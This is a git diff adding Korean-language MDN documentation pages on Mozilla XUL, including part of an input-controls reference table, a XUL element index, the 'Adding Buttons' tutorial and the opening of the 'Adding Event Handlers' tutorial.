+     <li><a href="/ko/XUL/progressmeter" title="ko/XUL/progressmeter">Progressmeter Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;radio&gt;</strong>
+    <p>A radio button is used when only one of a set of options may be selected at a time.</p>
+
+    <pre>
+&lt;radiogroup&gt;
+  &lt;radio label="Light" value="light"/&gt;
+  &lt;radio label="Heavy" value="heavy"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons" title="ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">More information about the radio element</a>.</li>
+     <li><a href="/ko/XUL/radio" title="ko/XUL/radio">Radio Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;richlistbox&gt;</strong>
+    <p>The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.</p>
+
+    <pre>
+&lt;richlistbox&gt;
+  &lt;richlistitem&gt;
+    &lt;image src="happy.png"/&gt;
+  &lt;/richlistitem&gt;
+  &lt;richlistitem&gt;
+    &lt;image src="sad.png"/&gt;
+  &lt;/richlistitem&gt;
+  &lt;richlistitem&gt;
+    &lt;image src="angry.png"/&gt;
+  &lt;/richlistitem&gt;
+&lt;/richlistbox&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/richlistbox" title="ko/XUL/richlistbox">Richlistbox Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/richlistitem" title="richlistitem">richlistitem</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;scale&gt;</strong>
+
+
+    <p>A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.</p>
+
+    <pre>
+&lt;scale min="1" max="10"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/scale" title="ko/XUL/scale">Scale Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;textbox&gt;</strong>
+    <p>A textbox which allows a single line of text to be entered.</p>
+
+    <pre>
+&lt;textbox value="firefox"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Input_Controls#Text_Entry_Fields" title="ko/XUL_Tutorial/Input_Controls#Text_Entry_Fields">More information about the textbox element</a>.</li>
+     <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">Textbox Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;textbox multiline="true"&gt;</strong>
+    <p>A textbox which allows multiple lines of text to be entered.</p>
+
+    <pre>
+&lt;textbox multiline="true"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Input_Controls#Multiline_textbox" title="ko/XUL_Tutorial/Input_Controls#Multiline_textbox">More information about the multiple line textbox element</a>.</li>
+     <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">Textbox Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;textbox type="autocomplete"&gt;</strong>
+    <p>A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.</p>
+
+    <pre>
+&lt;textbox type="autocomplete" autocompletesearch="history"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">Textbox Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;textbox type="number"&gt;</strong>
+
+
+    <p>A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.</p>
+
+    <pre>
+&lt;textbox type="number" min="1" max="20"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">Textbox Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;textbox type="password"&gt;</strong>
+    <p>A textbox that hides the characters typed, used for entering passwords.</p>
+
+    <pre>
+&lt;textbox type="password"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">Textbox Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;timepicker&gt;</strong>
+
+
+    <p>A timepicker displays a set of textboxes for entering a time.</p>
+
+    <pre>
+&lt;timepicker value="12:05"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/timepicker" title="ko/XUL/timepicker">Timepicker Reference</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;toolbarbutton&gt;</strong>
+    <p>A button that is displayed on a toolbar.</p>
+
+    <pre>
+&lt;toolbarbutton label="Reload"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Toolbars" title="ko/XUL_Tutorial/Toolbars">More information about the toolbarbutton element</a>.</li>
+     <li><a href="/ko/XUL/toolbarbutton" title="ko/XUL/toolbarbutton">Toolbarbutton Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;toolbarbutton type="menu"&gt;</strong>
+    <p>A button that is displayed on a toolbar with a drop down menu attached to it.</p>
+
+    <pre>
+&lt;toolbarbutton type="menu" label="Show"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Toolbars"/&gt;
+    &lt;menuitem label="Status Bar"/&gt;
+  &lt;/menupopup&gt;
+&lt;/toolbarbutton&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Toolbars" title="ko/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li>
+     <li><a href="/ko/XUL/toolbarbutton" title="ko/XUL/toolbarbutton">Toolbarbutton Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;toolbarbutton type="menu-button"&gt;</strong>
+    <p>A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.</p>
+
+    <pre>
+&lt;toolbarbutton type="menu-button" label="Open"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Open Changed Files"/&gt;
+    &lt;menuitem label="Open All"/&gt;
+  &lt;/menupopup&gt;
+&lt;/toolbarbutton&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Toolbars" title="ko/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li>
+     <li><a href="/ko/XUL/toolbarbutton" title="ko/XUL/toolbarbutton">Toolbarbutton Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;tree&gt;</strong>
+    <p>A tree displays a hierarchy of items in multiple columns.</p>
+
+    <pre>
+&lt;tree&gt;
+  &lt;treecols&gt;
+    &lt;treecol label="Name" flex="1"/&gt;
+    &lt;treecol label="Size" flex="1"/&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Popcorn"/&gt;
+        &lt;treecell label="Large"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Root Beer"/&gt;
+        &lt;treecell label="Small"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Trees" title="ko/XUL_Tutorial/Trees">More information about the tree element</a>.</li>
+     <li><a href="/ko/XUL/tree" title="ko/XUL/tree">Tree Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/mozilla/tech/xul/xul_reference/index.html b/files/ko/mozilla/tech/xul/xul_reference/index.html
new file mode 100644
index 0000000000..11d5570ccf
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_reference/index.html
@@ -0,0 +1,148 @@
+---
+title: XUL Reference
+slug: Mozilla/Tech/XUL/XUL_Reference
+tags:
+  - XUL
+  - XUL Reference
+translation_of: Archive/Mozilla/XUL/XUL_Reference
+---
+<p>« <a href="/en-US/docs/XUL" title="en-US/XUL">XUL Reference</a> «
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th colspan="3">전체 XUL 요소</th>
+</tr>
+<tr>
+<td>
+<p><a href="ko/XUL/action">action</a><br>
+<a href="ko/XUL/arrowscrollbox">arrowscrollbox</a><br>
+<a href="ko/XUL/bbox">bbox</a><br>
+<a href="ko/XUL/binding">binding</a><br>
+<a href="ko/XUL/bindings">bindings</a><br>
+<a href="ko/XUL/box">box</a><br>
+<a href="ko/XUL/broadcaster">broadcaster</a><br>
+<a href="ko/XUL/broadcasterset">broadcasterset</a><br>
+<a href="ko/XUL/button">button</a><br>
+<a href="ko/XUL/browser">browser</a><br>
+<a href="ko/XUL/checkbox">checkbox</a><br>
+<a href="ko/XUL/caption">caption</a><br>
+<a href="ko/XUL/colorpicker">colorpicker</a><br>
+<a href="ko/XUL/column">column</a><br>
+<a href="ko/XUL/columns">columns</a><br>
+<a href="ko/XUL/commandset">commandset</a><br>
+<a href="ko/XUL/command">command</a><br>
+<a href="ko/XUL/conditions">conditions</a><br>
+<a href="ko/XUL/content">content</a><br>
+<a href="ko/XUL/deck">deck</a><br>
+<a href="ko/XUL/description">description</a><br>
+<a href="ko/XUL/dialog">dialog</a><br>
+<a href="ko/XUL/dialogheader">dialogheader</a><br>
+<a href="ko/XUL/editor">editor</a><br>
+<a href="ko/XUL/grid">grid</a><br>
+<a href="ko/XUL/grippy">grippy</a><br>
+<a href="ko/XUL/groupbox">groupbox</a><br>
+<a href="ko/XUL/hbox">hbox</a><br>
+<a href="ko/XUL/iframe">iframe</a><br>
+<a href="ko/XUL/image">image</a><br>
+<a href="ko/XUL/key">key</a><br>
+<a href="ko/XUL/keyset">keyset</a><br>
+<a href="ko/XUL/label">label</a><br>
+<a href="ko/XUL/listbox">listbox</a><br>
+<a href="ko/XUL/listcell">listcell</a><br>
+<a href="ko/XUL/listcol">listcol</a><br>
+<a href="ko/XUL/listcols">listcols</a><br>
+<a href="ko/XUL/listhead">listhead</a><br>
+<a href="ko/XUL/listheader">listheader</a><br>
+</p>
+</td>
+<td>
+<p><a href="ko/XUL/listitem">listitem</a><br>
+<a href="ko/XUL/member">member</a><br>
+<a href="ko/XUL/menu">menu</a><br>
+<a href="ko/XUL/menubar">menubar</a><br>
+<a href="ko/XUL/menuitem">menuitem</a><br>
+<a href="ko/XUL/menulist">menulist</a><br>
+<a href="ko/XUL/menupopup">menupopup</a><br>
+<a href="ko/XUL/menuseparator">menuseparator</a><br>
+<a href="ko/XUL/notification">notification</a><br>
+<a href="ko/XUL/notificationbox">notificationbox</a><br>
+<a href="ko/XUL/observes">observes</a><br>
+<a href="ko/XUL/overlay">overlay</a><br>
+<a href="ko/XUL/page">page</a><br>
+<a href="ko/XUL/popup">popup</a><br>
+<a href="ko/XUL/popupset">popupset</a><br>
+<a href="ko/XUL/preference">preference</a><br>
+<a href="ko/XUL/preferences">preferences</a><br>
+<a href="ko/XUL/prefpane">prefpane</a><br>
+<a href="ko/XUL/prefwindow">prefwindow</a><br>
+<a href="ko/XUL/progressmeter">progressmeter</a><br>
+<a href="ko/XUL/radio">radio</a><br>
+<a href="ko/XUL/radiogroup">radiogroup</a><br>
+<a href="ko/XUL/resizer">resizer</a><br>
+<a href="ko/XUL/richlistbox">richlistbox</a><br>
+<a href="ko/XUL/richlistitem">richlistitem</a><br>
+<a href="ko/XUL/row">row</a><br>
+<a href="ko/XUL/rows">rows</a><br>
+<a href="ko/XUL/rule">rule</a><br>
+<a href="ko/XUL/script">script</a><br>
+<a href="ko/XUL/scrollbar">scrollbar</a><br>
+<a href="ko/XUL/scrollbox">scrollbox</a><br>
+<a href="ko/XUL/scrollcorner">scrollcorner</a><br>
+<a href="ko/XUL/separator">separator</a><br>
+<a href="ko/XUL/spacer">spacer</a><br>
+<a href="ko/XUL/splitter">splitter</a><br>
+<a href="ko/XUL/stack">stack</a><br>
+<a href="ko/XUL/statusbar">statusbar</a><br>
+<a href="ko/XUL/statusbarpanel">statusbarpanel</a><br>
+</p>
+</td>
+<td>
+<p><a href="ko/XUL/stringbundle">stringbundle</a><br>
+<a href="ko/XUL/stringbundleset">stringbundleset</a><br>
+<a href="ko/XUL/tab">tab</a><br>
+<a href="ko/XUL/tabbrowser">tabbrowser</a><br>
+<a href="ko/XUL/tabbox">tabbox</a><br>
+<a href="ko/XUL/tabpanel">tabpanel</a><br>
+<a href="ko/XUL/tabpanels">tabpanels</a><br>
+<a href="ko/XUL/tabs">tabs</a><br>
+<a href="ko/XUL/template">template</a><br>
+<a href="ko/XUL/textnode">textnode</a><br>
+<a href="ko/XUL/textbox">textbox</a><br>
+<a href="ko/XUL/textbox_(Firefox_autocomplete)">textbox (Firefox autocomplete)</a><br>
+<a href="ko/XUL/textbox_(Mozilla_autocomplete)">textbox (Mozilla autocomplete)</a><br>
+<a href="ko/XUL/titlebar">titlebar</a><br>
+<a href="ko/XUL/toolbar">toolbar</a><br>
+<a href="ko/XUL/toolbarbutton">toolbarbutton</a><br>
+<a href="ko/XUL/toolbargrippy">toolbargrippy</a><br>
+<a href="ko/XUL/toolbaritem">toolbaritem</a><br>
+<a href="ko/XUL/toolbarpalette">toolbarpalette</a><br>
+<a href="ko/XUL/toolbarseparator">toolbarseparator</a><br>
+<a href="ko/XUL/toolbarset">toolbarset</a><br>
+<a href="ko/XUL/toolbarspacer">toolbarspacer</a><br>
+<a href="ko/XUL/toolbarspring">toolbarspring</a><br>
+<a href="ko/XUL/toolbox">toolbox</a><br>
+<a href="ko/XUL/tooltip">tooltip</a><br>
+<a href="ko/XUL/tree">tree</a><br>
+<a href="ko/XUL/treecell">treecell</a><br>
+<a href="ko/XUL/treechildren">treechildren</a><br>
+<a href="ko/XUL/treecol">treecol</a><br>
+<a href="ko/XUL/treecols">treecols</a><br>
+<a href="ko/XUL/treeitem">treeitem</a><br>
+<a href="ko/XUL/treerow">treerow</a><br>
+<a href="ko/XUL/treeseparator">treeseparator</a><br>
+<a href="ko/XUL/triple">triple</a><br>
+<a href="ko/XUL/vbox">vbox</a><br>
+<a href="ko/XUL/window">window</a><br>
+<a href="ko/XUL/wizard">wizard</a><br>
+<a href="ko/XUL/wizardpage">wizardpage</a><br>
+</p>
+</td>
+</tr>
+</tbody></table>
+<h3 id=".EB.8B.A4.EB.A5.B8_XUL_.EB.AA.A9.EB.A1.9D" name=".EB.8B.A4.EB.A5.B8_XUL_.EB.AA.A9.EB.A1.9D"> 다른 XUL 목록 </h3>
+<ul><li> <a href="ko/XUL/Attribute">전체 속성</a>
+</li><li> <a href="ko/XUL/Property">전체 프로퍼티</a>
+</li><li> <a href="ko/XUL/Method">전체 메소드</a>
+</li><li> <a href="ko/XUL_element_attributes">전체 XUL 요소를 위해 정의된 속성</a>
+</li><li> <a href="ko/XUL/Events">이벤트 처리기</a>
+</li></ul>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html
new file mode 100644
index 0000000000..7547d91ba9
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html
@@ -0,0 +1,102 @@
+---
+title: Adding Buttons
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Buttons
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Buttons
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Labels_and_Images">다음  »</a></p>
+</div><p></p>
+<p>이 절에서, 우리는 창에 간단한 버튼 몇 개를 추가하는 법을 살펴보겠습니다.</p>
+<h3 id=".EC.B0.BD.EC.97.90_.EB.B2.84.ED.8A.BC_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.B0.BD.EC.97.90_.EB.B2.84.ED.8A.BC_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">창에 버튼 추가하기</h3>
+<p>우리가 지금까지 만든 창은 안에 아무것도 없습니다, 그래서 아직까지는 재미있지 않습니다. 이 절에서, 우리는 찾기(Find)와 취소(Cancel) 버튼 둘을 추가합니다. 또한 창에 버튼을 두는 간단한 방법을 배웁니다.</p>
+<p>HTML처럼, XUL은 UI 요소를 만드는 데 쓸 수 있는 태그가 다수 있습니다. 이 가운데 가장 기본은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 태그입니다. 이 요소는 간단한 버튼을 만드는 데 씁니다.</p>
+<p>button 요소에는 요소와 관련된 두 주요 프로퍼티 <code>label</code>과 <code>image</code>가 있습니다. 여러분은 하나나 둘 다 필요합니다. 이와 같이, button은 label, image만이나 label과 image 둘 다 있을 수 있습니다. 예를 들어, button은 보통 대화상자에서 확인(OK)과 취소(Cancel) 버튼에 씁니다.</p>
+<h4 id="button_.EA.B5.AC.EB.AC.B8" name="button_.EA.B5.AC.EB.AC.B8">button 구문</h4>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 태그의 구문은 다음과 같습니다.</p>
+<pre>&lt;button
+    id="identifier"
+    class="dialog"
+    label="OK"
+    image="images/image.jpg"
+    disabled="true"
+    accesskey="t"/&gt;
+</pre>
+<p>속성은 다음과 같고, 모두 선택 속성입니다.</p>
+<dl>
+ <dt>
+  <code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> </dt>
+ <dd>
+  여러분이 식별할 수 있도록 버튼에 붙이는 유일한 식별자. 여러분은 모든 요소에서 이 속성을 봅니다. 여러분이 스타일시트나 스크립트에서 버튼을 참조하고 싶다면 이를 쓰고 싶을 겁니다. 그러나, 여러분은 거의 모든 요소에 이 속성을 추가해야 합니다. 단순함을 위해 항상 이 입문서의 요소에 두지는 않습니다.</dd>
+ <dt>
+  <code id="a-class"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code> </dt>
+ <dd>
+  버튼의 스타일 클래스. 이는 HTML에서와 같이 작동합니다. 버튼이 안에 보이는 스타일을 나타내는 데 씁니다. 이 경우에는 <code>dialog</code>값이 쓰입니다. 대개의 경우, 여러분은 버튼에 클래스를 쓰지 않습니다.</dd>
+ <dt>
+  <code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> </dt>
+ <dd>
+  버튼에 보이는 label. 예를 들어, 확인(
+  <i>
+   OK</i>
+  )이나 취소(
+  <i>
+   Cancel</i>
+  ). 이 속성을 빼면, 텍스트가 보이지 않습니다.</dd>
+ <dt>
+  <code id="a-image"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code> </dt>
+ <dd>
+  버튼에 보이는 image의 URL. 이 속성을 빼면, image가 보이지 않습니다. 여러분은 또한 <code><a href="ko/CSS/list-style-image">list-style-image</a></code> 프로퍼티를 써서 스타일시트에 image를 지정할 수 있습니다.</dd>
+ <dt>
+  <code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code> </dt>
+ <dd>
+  이 속성을 <code>true</code>로 설정하면, button이 기능하지 않습니다. 이는 보통 회색으로 텍스트를 그립니다. 버튼이 기능하지 않으면, 버튼의 기능이 수행될 수 없습니다. 이 속성을 아주 빼면, 버튼이 작동합니다. 여러분은 <a href="ko/JavaScript">JavaScript</a>를 써서 버튼의 기능 상태를 엇바꿀(switch) 수 있습니다.</dd>
+ <dt>
+  <code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code> </dt>
+ <dd>
+  이는 단축키(shortcut key)로 쓸 문자로 설정돼야 합니다. 이 문자는 label 텍스트에 보여야 하고 대체로 밑줄이 그려집니다. 사용자가 ALT(나 각 플랫폼마다 다른 비슷한 키)와 access key를 눌렀을 때, 버튼은 창의 어디에서나 focus를 받습니다.</dd>
+</dl>
+<p>button은 위에 나열된 것보다 더 많은 속성을 지원함을 유념하세요. 그 밖의 속성은 <a href="ko/XUL_Tutorial/More_Button_Features">나중에 논의</a>합니다.</p>
+<h4 id=".EB.B2.84.ED.8A.BC_.EC.98.88.EC.A0.9C" name=".EB.B2.84.ED.8A.BC_.EC.98.88.EC.A0.9C">버튼 예제</h4>
+<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:buttons1.png"></div>
+<pre>&lt;button label="Normal"/&gt;
+&lt;button label="Disabled" disabled="true"/&gt;
+</pre>
+<p>위 예제는 그림(image)처럼 버튼을 생성합니다. 첫째 버튼은 보통 버튼입니다. 둘째 버튼은 기능하지 않으므로 회색으로 나옵니다.</p>
+<p>파일 찾기(find files) 유틸리티를 위한 간단한 찾기(Find) 버튼을 만들면서 시작합니다. 아래 예제 코드는 그 방법을 보입니다.</p>
+<pre>&lt;button id="find-button" label="Find"/&gt;
+</pre>
+<div class="note">
+ Firefox는 웹 페이지에서 chrome 창 열기를 허용하지 않으므로, 입문서의 View 링크는 보통 브라우저 창에 열림을 유념하세요. 이 때문에, button은 창을 가로질러 늘어나 보입니다. 여러분은 늘어남을 막기 위해 window 태그에 align="start"를 추가할 수 있습니다.</div>
+<div class="highlight">
+ <h5 id="findfile.xul_.EC.98.88.EC.A0.9C" name="findfile.xul_.EC.98.88.EC.A0.9C">findfile.xul 예제</h5>
+ <p>우리가 이전 절에서 만든 findfile.xul 파일에 이 코드를 추가합시다. 코드는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 태그 사이에 삽입이 필요합니다. 추가한 코드는 아래에 빨간 색으로 보입니다.</p>
+ <pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+     xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+  <span class="highlightred">&lt;button id="find-button" label="Find"/&gt;</span>
+  <span class="highlightred">&lt;button id="cancel-button" label="Cancel"/&gt;</span>
+
+&lt;/window&gt;
+</pre>
+ <div class="float-right">
+  <img alt="Image:buttons2.png"></div>
+ <p>여러분은 취소(Cancel) 버튼 또한 추가됐음을 알아챌 겁니다. 창은 두 버튼이 서로 곁에 보이도록 horizontal 방향을 주었습니다. 혹시 여러분이 Mozilla에서 그 파일을 열면, 여기 보이는 그림 같은 것을 얻습니다.</p>
+</div>
+<p> </p>
+<div class="note">
+ 우리가 XUL 파일에 직접 텍스트 label을 넣지 않았음을 유념하세요. 우리는 <a href="ko/XUL_Tutorial/Localization">텍스트가 쉽게 번역될 수 있도록 대신 엔티티</a>를 쓸 겁니다.</div>
+<p>다음 절에서, 우리는 <a href="ko/XUL_Tutorial/Adding_Labels_and_Images"> XUL 창에 label과 image를 추가</a>하는 법을 알아보겠습니다.</p>
+<p><small>같이 보기 <a href="ko/XUL_Tutorial/More_Button_Features">more button fetaures</a></small></p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Labels_and_Images">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html
new file mode 100644
index 0000000000..ca1cc19642
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html
@@ -0,0 +1,137 @@
+---
+title: Adding Event Handlers
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Event_Handlers
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Event_Handlers
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Scrolling_Menus" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Event_Handlers">다음  »</a></p>
+</div><p></p>
+
+<p>지금까지의 파일 찾기 대화창은 꽤 괜찮은 모양세를 갖추고 있습니다. 다 끝나지는 않았지만 손쉽게 간단한 사용자 인터페이스를 만들었습니다. 다음으로는 스크립트를 추가하는 방법에 대해 알아보겠습니다.</p>
+
+<h3 id=".EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">스크립트 사용하기</h3>
+
+<p>파일 찾기 대화창이 제대로 동작하려면 대화창과 사용자의 상호작용시 실행해야하는 스크립트를 추가해야 합니다. 우리는 Find 및 Cancel 버튼과 각 메뉴 명령을 처리할 스크립트를 추가하려고 합니다. 이를 위해 <a href="ko/HTML">HTML</a>에서와 거의 동일한 방법으로 <a href="ko/JavaScript">JavaScript</a> 함수를 이용해서 작성할 것입니다.</p>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/script" title="script">script</a></code></code> 요소를 사용해서 XUL 파일에 스크립트를 포함할 수 있습니다. XUL 파일에서 <code>script</code> 태그 내에 직접 코드를 넣을수도 있지만 별도의 파일에 코드를 포함하는게 더 좋으며, 이렇게 하면 XUL창의 로딩 속도가 약간 빨라집니다. 외부 스크립트 파일과 연결하기 위해서는 <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code> 속성을 사용합니다.</p>
+
+<div class="highlight">
+<h5 id=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">파일 찾기 예제</h5>
+
+<p>파일 찾기 대화창에 스크립트를 넣어보도록 하겠습니다. 스크립트 파일의 이름을 무엇으로 하든 상관없지만, 보통 XUL 파일과 이름은 같으면서 확장자만 .js로 하여 작성합니다. 이 경우 findfile.js가 사용될 것입니다. 여는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 태그 아래 그리고 다른 요소들 앞에 아래 줄을 추가하세요.</p>
+
+<pre class="eval"><span class="highlightred">&lt;script src="findfile.js"/&gt;</span>
+</pre>
+
+<p>우리는 스크립트 파일에 무엇을 써야하는지를 안 후에 이 파일을 생성할것 입니다. 스크립트 파일에는 이벤트 핸들러에서 호출할 수 있도록 몇 개의 함수를 정의할 것입니다.</p>
+</div>
+
+<p>여러분은 하나의 XUL 파일에 여러개의 스크립트를 포함할 수 있습니다. 이를 위해서는 각각 다른 스크립트를 가리키는 여러개의 <code>script</code> 태그를 사용하면 됩니다. <code>src</code> 속성에는 상대 혹은 절대 URL을 사용할 수 있습니다. 예를 들어 다음과 같은 형식으로 URL을 사용할 수 있습니다.</p>
+
+<pre class="eval">&lt;script src="findfile.js"/&gt;
+&lt;script src="<a class="external" rel="freelink">chrome://findfiles/content/help.js</a>"/&gt;
+&lt;script src="<span class="nowiki">http://www.example.com/js/items.js</span>"/&gt;
+</pre>
+
